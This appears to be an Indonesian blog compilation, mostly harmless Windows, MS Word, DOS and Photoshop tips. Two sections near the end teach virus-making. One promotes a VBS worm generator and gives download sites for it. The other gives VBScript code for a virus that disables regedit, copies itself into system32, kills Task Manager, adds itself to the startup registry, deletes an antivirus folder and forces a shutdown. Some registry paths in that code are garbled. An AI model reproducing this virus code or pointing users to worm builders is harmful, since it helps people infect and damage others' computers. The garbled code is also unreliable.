Jumat, 25 April 2008

Membuat background keren lagi yuk!



April 24, 2008 By: Sigit eko Category: Tutorial Photoshop Menengah

Kalo kita berkarya dan karya kita dipake sendiri, kayaknya puasss banget rasanya.. coba deh kita bikin wallpaper untuk desktop dan kita pake sendiri wallpaper nya… rasakan bedanya!

yuk..bikin yu..

pertama buat file ukuran kayak gini kalo wallpaper pake300 dpi biar gambarnya bagus:

Buat background color jadi hitam.. kenapa hitam? karena saya suka.. hehehe..

Buat Lingkaran pake Elliptical Marquee tool ( Di layer baru lingkaran nya)

sekarang klik Gradient tool , gradient option setting seperti gambar dibawah :

tarik garis gradient dari tengah lingkaran ke samping kiri atau kanan?

jadi kan bola 3D.

Masa wallpaper cuman gitu doang?? gak lah.. yuk lanjutt..

sekarang kita buat rectangle marquee tool di tengah bola tadi, buatnya di layer yang baru yaa.. :

Abis gitu.. gunakan gradient tool warna hitam ke putih ( settingan ikuti gambar ), kotak masih dalam keadaan terseleksi..

tarik gradient dari tengah ke kiri atau kanan bola.. supaya tengah keliatan mengkilap. Effek Softlight.

Buat kotak baru di Layer yang baru (diatas layer kotak pertama). Kotaknya kecil aja menggunakan rentanguler marquee tool. Gunakan gradient dari putih ke hitam , reverse. tarik gradient dari tengah ke samping. untuk lebih jelasnya liat gambar aja yaa.. jangan lupa pake efek Overlay.

Setelah jadi kotak. duplikasi kotak kecil tersebut.. cara gampang nya gimana bos??

tekan tombol ALT, lalu arahkan mouse ke kotak kecil yang barusan dibuat (jangan di klik dulu) , tunggu sampe keluar tanda panah kembar (hitam & putih).. setelah keluar tanda panahnya klik di kotak yang baru dibuat tadi, DRAG dan bawa kebawah.. liat gambar yaa biar jelas…

Kasih tulisan deh biar agak rame.. saya kasih tulisan ilmuphotoshop warna hitam dan efek overlay. Kasih efek pake Blending Option, trus drop shadow. Liat gambar dibawah ..

Jadinya begini nih….mustinya.. hehehe..

Kalo kurang jelas.. yaa coba dulu aja… kalo udah mentok.. baru deh nanya.. hehehe.. tul gak? NEVER GIVE UP!





Tips-Trik CMD : Membuat JAMcmd Tips

Hola….., wah.. pasti banyak yang udah kangen (mungkin tidak samasekali) sama saya n gak sabar pengen liat tutorial keren lagi (huh..GR banget mas..). OK, langsung saja kita ke masalahnya, tapi sebelumnya saya pengen cerita dikit tentang munculnya ide gila ini.

Begini ceritanya…………………..waktu itu, di malam gelap gulita aku sedang memanjat pohon semangka yang sangaaat tinggi.. tiba-tiba aku dikagetkan oleh sesuatu yang sangat-sangat mengerikan. Sebuah sosok berambut hitam berkacamata datang menghampiriku dan waw..ternyata seorang wanita cantik. Saat itu aku terkesima ketika dia sedang mandi di sungai dan aku berniat untuk mencuri pakaiannya..tapi begitu saya hendak mengambilnya ada saja yang menggagalkan misi gila itu..emak aku menyiramku dengan segalon air dan akupun terbangun..yach buyar deh Ceritanya..tapi gpp masih ada cerita yang jauh lebih gak nyambung n’ ide yang lebih gila lagi, on next Tut’s tentunya..

Langsung saja kita jangan berlama-lama lagi dengan cerita bodoh diatas, coz bikin kamu tambah bingung n tidak fokus..Kembali ke Judulnya: Membuat JAMcmd, pasti tambah bingung, apaan sich ??.. gw juga gak tau mau jelasin apa tentang jamCMD ini, kita liat aja yuk codenya biar ngerti….


HERE is THE CODE

(tested on Windows XP sp 2)

———————- start ————————-

@echo off

start /b “%comspec%”

:update

set _time=%time:~0,8%

title Time : [ %_time% ] @ [ %date% ]

ping localhost -n 2 -w 500 >nul

goto update

———————– end ————————–

Lah, segitu aja, panjang ceritanya daripada codenya..dasar ide gila

Save dengan extensi .bat

Contoh : JamCMD.bat

Copykan ke directory windows (c:\windows) supaya bisa dipanggil lewat menu RUN

START –> RUN, truz tinggal ketik jamcmd…

Oiya..kalau mau decompile jadi .exe juga bisa pake QuickBatchFileCompiler donlot di

Link : http://www.abyssmedia.com/quickbfc

Sekarang ke bab penjelasan..

a).Tampilan (sekerin sot)

Membuat JAMcmd

Hmmm..

Tapi perasan gak ada yang bedanya dengan cmd biasa..

..eits tunggu dulu, coba perhatikan lagi windowtitlenya bertuliskan “Time : [7:01:53] @ [ 30 Jul 07 ]”

Nah itu dia bedanya, windowtitlenya ada jam dan tanggalnya yang selalu terupdate..

b). Penjelasan Code

1. echo off – digunakan agar perintah tidak menampilkan pesan setelah dijalankan (berlaku untuk perintah setelah/dibawah echo off).

2. Start – untuk menjalankan suatu program (%comspec% adalah cmd, jadi kita menjalankan cmd).

3. @ - sama dengan echo off tapi hanya untuk perintah dibelakangnya.

4. :update – memberi label update pada script untuk looping.

5. Set – untuk menampilkan, mengeset, atau menghapus nilai dari suatu variable (pada kali ini kita menggunakan variable “_time”).

6. Title – untuk mengganti windowtitle CommandPrompt.

7. Ping – sebenarnya untuk koneksi internet, tapi kita akali agar menggantikan pause selama 1 detik (di cmd tidak ada perintah untuk melakukan pause).

8. Goto – untuk melakukan looping/perulangan/kembali ke label “update”

Segitu aja yah penjelasannya, kalau ada yang belum jelas tanyaiin aja ke forum PemrogramanLain..oks

Sbg Penutup gw pengen ngasih pantun buat yang lagi putus cinta…LL..

—————————————————————————-

Jalan jalan ke kota batu..
Makan apel rasanya manis..
Jangan sedih diputus cewe satu..
Masih banyak kok cewe yang lebih manis..

Menjalankan Banyak Account Yahoo Messenger

Yahoo Messenger (YM) merupakan salah satu messenger yang paling dipakai untuk berkomunikasi via media teks (chat) secara online. Dengan menggunakan YM Anda dapat berkomunikasi dengan teman, saudara atau relasi.

Normalnya Anda hanya dapat menjalankan satu kali YM pada saat bersamaan. Dengan tips berikut ini Anda bisa menjalankan YM beberapa kali sehingga pada saat yang sama Anda dapat login dengan menggunakan beberapa account yahoo Anda.

Caranya adalah sebagai berikut:

  1. Jalankan registry editor dengan cara klik tombol Start - Run. Ketik regedit lalu tekan enter.
  2. Masuk ke key HKEY_CURRENT_USER\Software\Yahoo\Pager\Test.
  3. Pada panel sebelah kanan, klik kanan dan pilih menu New - DWord Value.
  4. Ketik Plural.
  5. Klik 2x pada Plural dan isi dengan nilai 1 (satu).
  6. Keluar dari registry editor.

Jika Anda mengikuti langkah di atas dengan benar maka Anda bisa menjalankan YM beberapa kali.

Selain dengan cara di atas, Anda dapat mendownload file ym8multi.zip dan mengklik 2x pada setting registry di dalamnya. Untuk mengembalikan setting seperti semua Anda dapat mendownload ym8multi_unist.zip.

Tips di atas hanya untuk Yahoo Messenger versi 8 yang dapat Anda download di http://messenger.yahoo.com/

jeni-jenis ekstensi

Mengenal ekstensi file

Saat Anda mengklik kanan pad file dan memilih Properties, pada bagian MS-DOS name pasti ada tulisan tiga huruf sesudah titik. Itulah yang dinamakan ekstensi file. Fungsinya adalah untuk mengetahui atau membedakan jenis file. Nah, yang kami tuliskan di sini adalah beberapa jenis file yang paling umum. Untuk mengetahui ekstensi file lainnya Anda bisa membuka Windows Explorer, lalu pilih menu View - Folder Options. Pindah ke tab Files Types. Di sana terdapat puluhan dan mungkin ratusan ekstensi file. Semakin banyak Anda menginstall aplikasi maka daftar ekstensi file yang ada akan semakin panjang. Di antara beberapa ekstensi file itu adalah sebagai

Ekstensi
Jenis
Aplikasi yang digunakan
asm Source code pemrograman Assembly Sembarang teks editor, seperti MS Word, NotePad, Wordpad
bat Teks MS Word, Notepad, WordPad, Edit (pd DOS prompt)
bmp image Sembarang image editor, seperti PhotoShop, PhotoPaint, Paint, dll
cdr Corel Draw
doc Docoument MS Word MS Word
exe Aplikasi Merupakan file aplikasi
fon File font Font Viewer
htm, html, shtml Internet Document Netscape Navigator, MS Internet Explorer, NeoPlanet
gif Image, animasi Sembarang image editor. Sedangkan untuk membuat animasinya gunakan Ulead Gif Animator, Gif Construction Set, dll.
ico File icon Microangelo
jpg/jpeg Image Sembarang image editor, seperti PhotoShop, PhotoPaint, Paint.
log File log Sembarang teks editor
mp3 Audio WinAmp
pas Source code bahasa pemrograman Pascal/Delphi Sembarang teks editor
pdf Adobe Acrobat Reader
psd Image Adobe PhotoShop
reg File registry Regedit, untuk mengedit gunakan sembarang teks editor
ttf File font Font Viewer
txt Teks Sembarang teks editor
zip File kompresi WinZip, WinRar

fungsi refresh

Lebih memahami fungsi Refresh

Anda tentunya sudah tidak asing lagi dengan Refresh. Misalnya kalau Anda mengklik kanan pada Desktop maka akan muncul menu Refresh. Juga pada saat Anda berada di Windows Explorer. Tapi tahukah Anda apa sesungguhnya fungsi Refresh tersebut. Refresh biasa digunakan untuk memperbaharui "tampilan" setelah terjadi suatu perubahan. Untuk lebih memahaminya, coba ikuti langkah berikut ini.

Pertama, buat folder baru pada Desktop dengan cara klik kanan, pilih New - Folder (Tapi sebelumnya Anda harus menonaktifkan Show All Files. Caranya dari Windows Eplorer, klik menu View - Folder Options. Pindah ke tab View. Pilih Do not show hidden or system files. Klik OK).
Setelah Anda membuat Folder baru, klik kanan folder tersebut lalu pilih Properties. Lalu beri tanda centang atau check pada bagian Hidden. Klik OK.

Sekarang Anda melihat bahwa Folder tersebut masih nampak pada Desktop walaupun Anda telah mengganti atribut folder tersebut menjadi hidden (tersembunyi). Nah sekarang klik kanan pada desktop, pilih Refresh. Atau bisa juga dengan menekan tombol F5. Sekarang folder tersebut sudah tidak nampak lagi pada Desktop.

Nah, sekarang tahu kan fungsi Refresh ?

tips-tips send to

Menambah target pada Send To

Jika Anda mengklik kanan pada folder atau file, maka akan muncul menu Send To. Menu tersebut biasa digunakan untuk memindah atau meng-copy file ke lokasi yang telah ditentukan. Secara default hanya ada beberapa lokasi yang tersedia.

Mungkin saja Anda sering memindah file ke lokasi yang belum ada pada Send To. Untuk itu Anda bisa menambah sendiri. Caranya :

1 Pindah ke folder C:\Windows\Send To karena di sinilah Windows menyimpan target lokasi dari Send To.
2 Klik kanan pada folder tersebut dan pilih New - Shortcut.
3 Pada kotak dialog yang muncul, klik tombol Browse dan arahkan ke folder yang Anda inginkan.

Fungsi lain Send To

Selain digunakan untuk memindah atau mengcopy file, perintah Send To dapat digunakan untuk membuka file. Misalnya suatu saat Anda ingin membuka file teks tertentu (misalnya filse *.htm, *.css, *.js) dengan Notepad. Untuk itu Anda cukup meletakkan shortcut Notepad pada C:\Windows\Send To. Lalu untuk membuka file dengan Shortcut, cukup klik kanan pada file tersebut dan klik Send To - Notepad. Tentu saja Anda bisa mengganti program Notepad dengan program lain yang Anda inginkan.

tips n trik Windows Eksplorer

Memperluas cabang Windows Explorer

Ketika Anda berada di Windows Explorer, untuk membuka seluruh cabang yang ada (di dalam suatu folder) tekanlah [Alt] + [*]. Untuk menutup folder Anda bisa menekan F5.

Membuka windows explorer dengan cepat

Tekan Shift dan klik dua kali pada My Computer maka Anda akan langsung masuk ke windows explorer.

Cara lain membuka windows explorer

Pengen alternatif untuk membuka windows explorer ? Caranya klik tombol Start lalu Run. Ketikkan "\" (ketik tanpa tanda petik), klik OK.

Mengurutkan file pada Windows Explorer

Untuk mempermudah Anda dalam menemukan file yang terdapat pada Windows Explorer, Anda dapat melakukan pengurutan (sort order). Caranya dari menu View, pilih Arrange Icon. Untuk mengurutkan berdasarkan nama pilih By Name. Pilih by Size untuk mengurutkan berdasarkan ukuran file.

Selain cara tersebut ada cara lain yang lebih cepat, yaitu dengan mengklik tulisan Name, Size, Type atau Modified pada Column Title. Klik sekali untuk mengurutkan secara ascending (dari A sampai Z), klik sekali lagi untuk mengurutkan secara descending (dari Z sampai A).

Menyesuaikan ukuran kolom

Tekan Ctrl dan + secara bersamaan. + adalah yang terdapat pada keypad (keyboard bagian kanan). Tips ini berlaku juga pada kotak dialog Find dan Registry Editor.

Menyesuaikan target pada Windows Explorer

Saat Anda mengklik icon Windows Explorer pada Start - Programs maka secara default yang terbuka adalah drive C. Sebenarnya Anda bisa saja mengganti target tersebut, misalkan menjadi C:\Data\MS Word, maka yang harus Anda lakukan adalah mengklik kanan icon shortcut tersebut lalu pindah ke tab Shortcut. Pada bagian Target gantilah menjadi seperti berikut :

"c:\windows\explorer.exe /n,/e,C:\Data\MS Word"

Jika Anda ingin membuka folder tersebut sebagai root maka tambahkan /root, sehingga perintahnya menjadi sebagai berikut :

"c:\windows\explorer.exe /n,/e,/root,C:\Data\MS Word"

Sekarang jika Anda mengklik shortcut tersebut maka yang akan dibuka oleh Windows Explorer adalah folder C:\Data\MS Word


Membuat daftar file dan folder

Ada kalanya Anda ingin mencetak daftar file dan (sub) folder yang terdapat dalam suatu folder. Sayangnya secara default Windows tidak menyediakan fasilitas untuk itu. Dengan tips di bawah ini, Anda dapat membuat context menu pada folder sehingga Anda dapat membuat daftar file dan folder dalam bentuk file text.

1.

Membuat file batch. Ketik tulisan berikut ini dengan menggunakan Notepad.

dir /a /-p /o:gen >filelisting.txt

2.

Simpan file batch tersebut di C:\Windows\. Ingat ekstensi filenya harus .bat. Misalnya filelisting.bat.


3.

Membuat action untuk contect menu.

Buka Windows Explorer dan pilih menu Tools - Folder Options - tab File Types - pilih Folder - klik tombol Advanced - klik tombol New. Lalu tulis text seperti pada gambar di bawah ini.

Setelah itu klik tombol OK.

4.

Jika langkah yang dilakukan benar maka Action yang baru saja dibikin akan kelihatan.

5.

Sekarang klik kanan pada sembarang folder, maka akan muncul menu "Bikin Daftar File" yang baru aja dibikin.


Mengganti icon folder

Ada Jika anda sudah bosan dengan icon folder windows, Anda bisa mengubahnya dengan langkah-langkah seperti di bawah ini.

1.

Bikin sebuah file "Desktop.ini" dan simpan pada folder yang akan Anda ubah icon foldernya. Ada pun isi dari file Desktop.ini adalah sebagai berikut:

[.ShellClassInfo]
IconFile=E:\Image\Linux.bmp
IconIndex=0
InfoTip=Ini contoh folder yang telah diganti iconnya

IconFile=E:\Image\Linux.bmp adalah nama file yang akan dipakai sebagai icon folder.
InfoTip=..... adalah info tip yang akan tampil saat Anda meletakkan cursor di atas folder.

2.

Buka DOS Prompt, dan ketikkkan perintah "attrib +s NamaFolder".
Dalam contoh ini nama folder yang akan diganti iconnya adalah folder "contoh". Perintahnya sbb:

attrib +s contoh

Jika Anda melakukukannya dengan tepat maka icon pada folder tersebut akan berubah, seperti contoh gambar di bawah ini.

mengganti icon folder - customize  icon folder

«



tips n' trik windows

Menang minesweeper dg mudah

Anda sering bermain minesweeper ? Dengan sedikit trik sekarang Anda bisa menantang teman Anda bermain game ini. Caranya klik sembarang kotak untuk memulai permainan. Kemudian klik kiri dan klik kanan bersamaan pada salah satu kotak, hingga terlihat kotak berukuran 3x3 yang tertekan, lalu tekan tombol Esc pada keyboard. Trik ini akan menghentikan jalannya waktu (timer)

Menang freecell dg mudah

Tip berikut bisa anda lakukan jika Anda sudah kehabisan akal untuk menyelesaikan permainan Freecell, segeralah menekan tombol [Ctrl]+[shift]+[F10]. Akan muncul sebuah pesan di layar Freecell tersebut. Pilihlah Abort, lalu seret sebuah kartu ke atas. Komputer akan menyelesaikan permainan tersebut untuk Anda.

Menutup aplikasi dg cepat

Untuk menutup suatu aplikasi selain dengan menekan kombinasi tombol Alt +F4 Anda pun bisa menggunakan tombol lain yaitu Alt + Spacebar, disusul dengan C.


Mencetak MS Word dalam urutan terbalik

Anda sering menncetak suatu dokumen Word dan Anda harus selalu membalik urutan halaman ? Hal ini tentu terasa membosankan. Sebenarnya Anda bisa mencetak dokumen Word dengan uratan terbalik (dari nomor halaman besar ke kecil) sehingga Anda tidak perlu harus membalik urutannya. Caranya dari menu Tools/Option/Print tandai Reverse Print Order lalu klik OK.





Memberi warna pada image

Ikuti langkah di bawah ini untuk memberi warna pada MS Word :

  1. Klik menu Insert - picture - clipart.
  2. Aktifkan gambar dengan cara mengklik gambar tersebut.
  3. Klik kanan - pilih 'edit picture'.
  4. Klik bagian dari gambar yang ingin diberi warna dengan memilih icon
    'fill color'.
  5. Bila ingin menghapus bagian-bagian tertentu dari gambar, pilih objeknya terlebih dahulu dan tekan tombol delete.
  6. Klik 'close picture' bila telah selesai mengedit gambar.

Cropping image

  1. Insert - picture - clipart.
  2. Sebelumnya terlebih dahulu aktifkan toolbar Picture ( View - toolbar
    - picture).
  3. Aktifkan gambar dan pilih icon 'crop'.
  4. Letakkan icon 'crop' di salah satu kotak pada frame.
  5. Kkemudian drag untuk memotong di bagian gambar yang diinginkan.




Menggulung dokumen dengan cepat

Pernahkah Anda mempunyai document yang panjang pada MS Word, yang terdiri dari puluhan halaman ? Apa yang Anda rasakan saat melakukan pengecekan document tersebut ? Kesulitan ! Ya, biasanya kita akan mengalami kesulitan saat melakukan pengecekan pada document tersebut, karena kita harus selalu menggerakkan mouse sekedar untuk menggulung (scrolling) document. Kesulitan ini bertambah jika mouse Anda tidak dilengkapi fasilitas scroll. Nah, untuk mengatasi hal tersebut sebenarnya MS Word sudah menyediakan fasilitas Auto Scroll. Untuk menampilkan fasilitas tersebut caranya sebagai berikut :

  1. Buka MS Word Anda.
  2. Dari menu Tools, pilih Customize.
  3. Pindah ke tab Commands.
  4. Pada bagian Categories, gantilah menjadi All Command.
  5. Pada bagian Commands, carilah AutoScroll.
  6. Drag (geserlah) AutoScroll tersebut ke arah toolbar.
  7. Klik Close.

Sekarang untuk melakukan scrolling, klik pada AutoScroll yang baru saja kita buat pada toolbar. Perhatikan pada bagian kanan, akan muncul AutoScroll. Anda bisa menggeser cursor tersebut ke atas atau ke bawah. Semakin ke atas atau semakin ke bawah, penggulungan akan semakin cepa


Konversi dari tabel ke teks

MS Word menyediakan fasilitas untuk pembuatan tabel secara mudah dan cepat. Tapi bagaimana solusinya jika Anda terlanjur membuat tabel beserta datanya sementara Anda ingin menggantinya ? Mudah saja, gunakan fasilitas Convert. Langkah komplitnya sebagai berikut :

  1. Blok dulu tabel yang ingin Anda konversi.
  2. Dari menu Table, pilih Convert - Table To Text.
  3. Maka akan muncul tampilan seperti gambar di bawah ini.

    Di sini Anda harus menentukan pemisah antarkolom pada tabel. Yang biasa digunakan adalah Tabs.
  4. Langkah terakhir klik OK.

Setting folder default untuk menyimpan file

Kalau Anda rapi dalam menyimpan file, tentu Anda akan mengelompokkan data-data Anda berdasarkan jenis data atau jenis keperluan. Misalnya saja data MS Word selalu di simpan di C:\My Documents\MS Word. Nah, daripada setiap kali menyimpan data Anda akan "terlempar" ke folder yang "jauh" lebih baik Anda menentukan folder default tempat menyimpan data MS Word tersebut. Caranya :

  1. Dari menu Tools, pilih Options.
  2. Pindah ke tab File Locations.
  3. Di sana terlihat list box dengan tulisan Documents, Clipart Pictures, User templates, dst.
  4. Klik pada Documents dan klik tombol Modify.
  5. Pada kotak dialog yang muncul, arahkan ke folder tempat Anda akan menyimpan data. Misalnya C:\My Documents\MS Word.
  6. Klik OK, OK lagi.

Setelah Anda mengubah setting di atas maka saat Anda menyimpan data maka MS Word langsung "membuka" folder C:\My Documents\MS Word.



Shortcut pada MS Word

Keys
Fungsi
Ctrl + } Memperbesar ukuran huruf
Ctrl + { Mengecilkan ukuran huruf
Ctrl + + Membuat subscript
Shift + Ctrl + + Membuat super script
Ctrl + L Membuat rata kiri (Left)
Ctrl + R Membuat rata kanan (Right)
Ctrl + C Membuat rata tengah (Center)
Ctrl + J Membuat rata kanan kiri (Justify)
Ctrl + K Memasukkan hyperlink
Shift + Ctrl + A Membuat teks uppercase (kapital semua)
Ctrl + F4 Menutup dokumen yang terbuka
F12 File - Save As
Ctrl + F2 File - Print Preview
Shift + F3 Change case
Ctrl + Shift + F Mengganti font



udahlah...... segitu dulu aja ......


Cara Gampang Bikin Virus Oleh : ashab's hukmi


Kamu pasti masih inget dengan virus worm yang sempat menghebohkan Tampilan awal program Vbs WGinternet beberapa waktu yang lalu : Anna Kournikova. Worm yang menginfeksi Windows beserta Outlook Exressnya, akan mengirim sendiri pesan virus ke seluruh email yang terdapat pada address book.

Sebenarnya untuk membuat worm semacam itu kamu tidak harus menjadi seorang programmer handal. Cukup bisa njalanin komputer dan punya softwarenya. Lalu apa softwarenya ? VBS Worm Generator !! Dengan program yang dibuat oleh hacker Argentina berusia 18 tahun itu kamu dapat membuat virus yang sama dahsyatnya dengan Anna Kournikova, cukup dengan melakukan beberapa klik.

Program VBSWG memungkinkan kamu untuk membuat worm dengan nama sesukamu. Kamu juga bisa memilih efek dari worm tersebut, seperti misalnya menampilkan pesan atau memaksa seseorang untuk menuju situs tertentu. Akibat yang paling parah tentunya jika worm tersebut kamu setting supaya membikin crash komputer.

Kemampuan lain dari VBSWG adalah melakukan enkripsi terhadap source code worm yang dibuat. Kemampuan lainnya bisa kamu coba sendiri :-) Pokoknya cukup hebatlah program ini.

Tapi seperti yang dikatakan oleh pembuatnya, VBS Worm Generator hanya boleh digunakan untuk belajar, bukan untuk merugikan orang lain. Untuk itu jika Anda memang berniat mencobanya, ingat-ingat peringatan tersebut.

Situs yg menyediakan VBSWG :

http://www.virii.com.ar,
http://www.kvirii.com.ar,
http://vx.netlux.org/dat/tv07.shtml.

Atau gunakan search engine http://www.google.com dan masukkan keyword vbswg2bfix.zip, Vbswg2B.zip, worm generator, dan keyword semacamnya

cara bikin virus 1


cara mudah bikin virus "versi 1"

Sebelumnya, berikut ini cara-cara paling gampang untuk membuat virus.
semua hal dibawah ini hanya sebagai penambah pengetahuan kita saja
dan tidak boleh disalah gunakan untuk hal-hal yang bersifat merusak.
Dan saya tidak bertanggung jawab jika itu terjadi. Sekarang kita akan
membahas cara gampang membuat virus pake vbs file.

pertama, berikut ini hal-hal yang wajib kita siapin sebelum membuat virus.
# seperangkat komputer berikut monitor,cpu,mouse,kibor, dll (wajib)
# kita harus menyiapkan sebuah file yang ber-ekstensi vbs (*.vbs)
# secangkir teh anget.
# akan lebih afdoL kalo ditemenin lagu2nya rhcp (aku ngefans ma rhcp)

Untuk eksekusi pertama, yang dilakukan virus biasanya mengubah registry.
Sebenarnya udah aku bahas di blogku ini. tapi nggak papa aku ulangin aja.
biar keliatan resmi :-). misalnya:

1. mendisable regedit. Yang kita tulis:
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide


sebenarnya banyak cara untuk mendisable regedit. misalnya kek gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT_USERsoftware\microsoft\windows\currentversion\policies\systemdisableregistrytools", 1, "REG_DWORD"

lalu mengubah registry yang lain. yang nggak aku bahas disini karena
udah pernah aku bahas pada postingan yang lain di blogku ini.

2. mengopikan diri ke direktory lain

CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"

Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfile wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"

misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary

3.Membunuh proses.
digunakan untuk membunuh proses
(proses adalah program yang sedang berjalan)
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide


4.Menjalankan virus pada saat startup atau saat windows dihidupkan.
menggunakan regedit
On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus"
, "c:\windows\system32\virus.vbs"

(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)

5.Menghapus File / Folder
agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe"
'(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)

6.Merestart Windows
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
merestart windows dalam waktu 60 sekon

7.Meng-ShutDown Windows
CreateObject("WScript.Shell").run "shutdown -s-f -t 60", vbhide
mematikan windows dalam waktu 60 sekon :)yang beda cuman
"shutdown -s-f -t 60"
S = untuk shutdown dan
R = untuk reboot\restart

8. Mengaktifkan Virus Pada Waktu tertentu
If day(now) = 1 and month(now) = 1 and year(now) = 2007 then
'(masukkan kode virus disini)
End if
'misalnya kalo mau mengaktifkan pada tanggal 1, bulan 1
'dan tahun 2007

Ok. Pelajaran bikin virus untuk hari ini saya kira udah cukup.
walaupun udah sering dibahas,, nggak papalah,,,, itung-itung
buat nambahin pengetahuan kita. dan semoga bermanfaat :-)

Perintah DOS

Monday, January 28, 2008
adalah perintah-perintah yang dapat dijalankan di dalam sistem operasi DOS. Dalam sistem operasi DOS, terdapat dua jenis perintah, yakni:

* Perintah internal (internal command), yakni perintah-perintah yang telah dimasukkan ke dalam COMMAND.COM (interpreter perintah DOS), sehingga dapat langsung dieksekusi oleh kernel DOS, di mana saja.
* Perintah eksternal (external command), yakni perintah-perintah yang tidak dimasukkan ke dalam COMMAND.COM, dan membutuhkan sebuah berkas yang dapat dieksekusi (berupa program DOS) yang harus terdapat dalam direktori aktif.

Tabel berikut berisi perintah-perintah yang terdapat dalam MS-डॉस

Perintah Jenis perintah Keterangan
BREAK Internal Mengeset pengecekan penekanan tombol Ctrl+C atau menggagalkannya.
CD atau CHDIR Internal Mengganti direktori aktif ke direktori lainnya yang ditentukan dalam parameter. Jika dijalankan tanpa parameter, maka perintah ini akan menampilkan lokasi di mana direktori aktif berada.
CHCP Internal Jika dijalankan tanpa parameter, perintah ini akan menampilkan code page (kumpulan karakter) dalam bentuk angka yang sedang digunakan. Perintah ini juga dapat digunakan untuk mengganti code page untuk semua perangkat yang mendukung pergantian kumpulan karakter.
CLS Internal Membersihkan layar dan menempatkan kursor pada pojok kiri layar. Perintah ini tidak memiliki parameter.
COPY Internal Menyalin satu atau beberapa berkas dari satu lokasi ke lokasi lainnya yang ditentukan. Perintah ini memiliki dua parameter, yakni parameter sumber berkas dan tujuan ke mana berkas akan disalin.
CTTY Internal Perintah ini akan mengganti perangkat terminal (terminal device/tty) yang digunakan untuk mengontrol komputer.
DATE Internal Perintah ini akan menampilkan tanggal saat ini. Perintah ini juga dapat mengeset tanggal komputer.
DEL atau ERASE Internal Menghapus berkas yang ditentukan dalam parameter. Parameter dapat berupa nama berkas atau beberapa nama berkas yang disusun menggunakan karakter wildcard.
DIR Internal Jika digunakan tanpa parameter, perintah ini dapat menampilkan daftar berkas-berkas dan subdirektori yang terdapat di dalam direktori aktif. Berkas ini memiliki satu parameter, yakni lokasi direktori di mana hendak menampilkan daftar isi direktori.
EXIT Internal Keluar dari shell COMMAND.COM sekunder dan kembali lagi kepada COMMAND.COM primer.
LH atau LOADHIGH Internal Memuat sebuah program ke upper memory block.
LOCK Internal Perintah ini mengizinkan akses langsung terhadap hard disk. Perintah ini hanya dimiliki oleh MS-DOS dalam Windows 95/98.
MKDIR atau MD Internal Membuat sebuah direktori dalam direktori aktif.
PATH Internal Menentukan di mana MS-DOS harus mencari berkas-berkas yang dapat dieksekusi sebagai program.
PROMPT Internal Mengubah tampilan command prompt MS-DOS.
RMDIR atau RD Internal Menghapus sebuah direktori kosong. Akan gagal bila direktori tersebut mengandung berkas atau subdirektori lainnya. Gunakan perintah eksternal DELTREE untuk menghapus total sebuah tree direktori.
REN atau RENAME Internal Mengubah nama sebuah atau beberapa berkas (dengan menggunakan karakter wildcard).
SET Internal Menampilkan, menghapus atau mengeset variabel-variabel lingkungan. Umumnya, perintah ini dimasukkan ke dalam berkas AUTOEXEC.BAT.
TIME Internal Menampilkan atau mengeset waktu saat ini.
TYPE Internal Menampilkan isi dari sebuah berkas (dalam bentuk teks) ke dalam standard output.
UNLOCK Internal Menonaktifkan akses hard disk secara langsung. Perintah ini hanya dimiliki oleh MS-DOS dalam Windows 95/98.
VER Internal Menampilkan versi sistem operasi yang digunakan.
VERIFY Internal Menyuruh sistem operasi agar melakukan verifikasi bahwa berkas-berkas yang ditulis ke dalam media penyimpanan telah sempurna ditulis, dan menampilkan status verifikasi. Perintah ini secara default dinyalakan oleh MS-DOS.
VOL Internal Menampilkan nama label dari sebuah volume atau partisi.

Konsep Dasar TCP/IP (Transmission Control Protocol/Internet Protocol)



TCP/IP merupakan dasar dari segalanya, tanpa mempelajari TCP/IP kemungkinan kita tidak dapat melakah maju di dunia perhackingan. Dengan kata lain, TCP/IP merupakan awal dari segalanya. Banyak orang yg menyepelekan pentingnya mempelajari TCP/IP, mereka mengaku dirinya "hacker" tetapi tidak mengerti sama sekali apa itu TCP/IP. Merasa hacker hanya apabila bisa mencrash ataupun menjebol server, tetapi sebetulnya bukan itulah maksud dari segala itu. Hacker itu adalah orang yg haus akan pengetahuan, bukan haus akan penghancuran. Untuk menjadi hacker dibutuhkan kerja keras, semangat, motivasi yg tinggi serta pemahaman seluk-beluk internet itu sendiri, tanpa hal-hal tersebut mustahil anda dapat menjadi seorang hacker yang tangguh.

TCP/IP adalah salah satu jenis protokol (Merupakan himpunan aturan yg memungkinkan komputer untuk berhubungan antara satu dengan yg lain, biasanya berupa bentuk /waktu/barisan/pemeriksaan error saat transmisi data) yg memungkinkan kumpulan komputer untuk berkomunikasi dan bertukar data didalam suatu network (jaringan).

TCP/IP gue bilang sangat penting karena TCP/IP merupakan protokol yg telah diterapkan pada hampir semua perangkat keras dan sistem operasi. Tidak ada jaringan protokol lain yg tersedia pada semua sistem berikut ini :Novel Netware, Mainframe IBM, Sistem digital VMS, Server Microsoft Windows NT, Workstation UNIX, LinuX, FreeBSD, Personal komputer DOS.

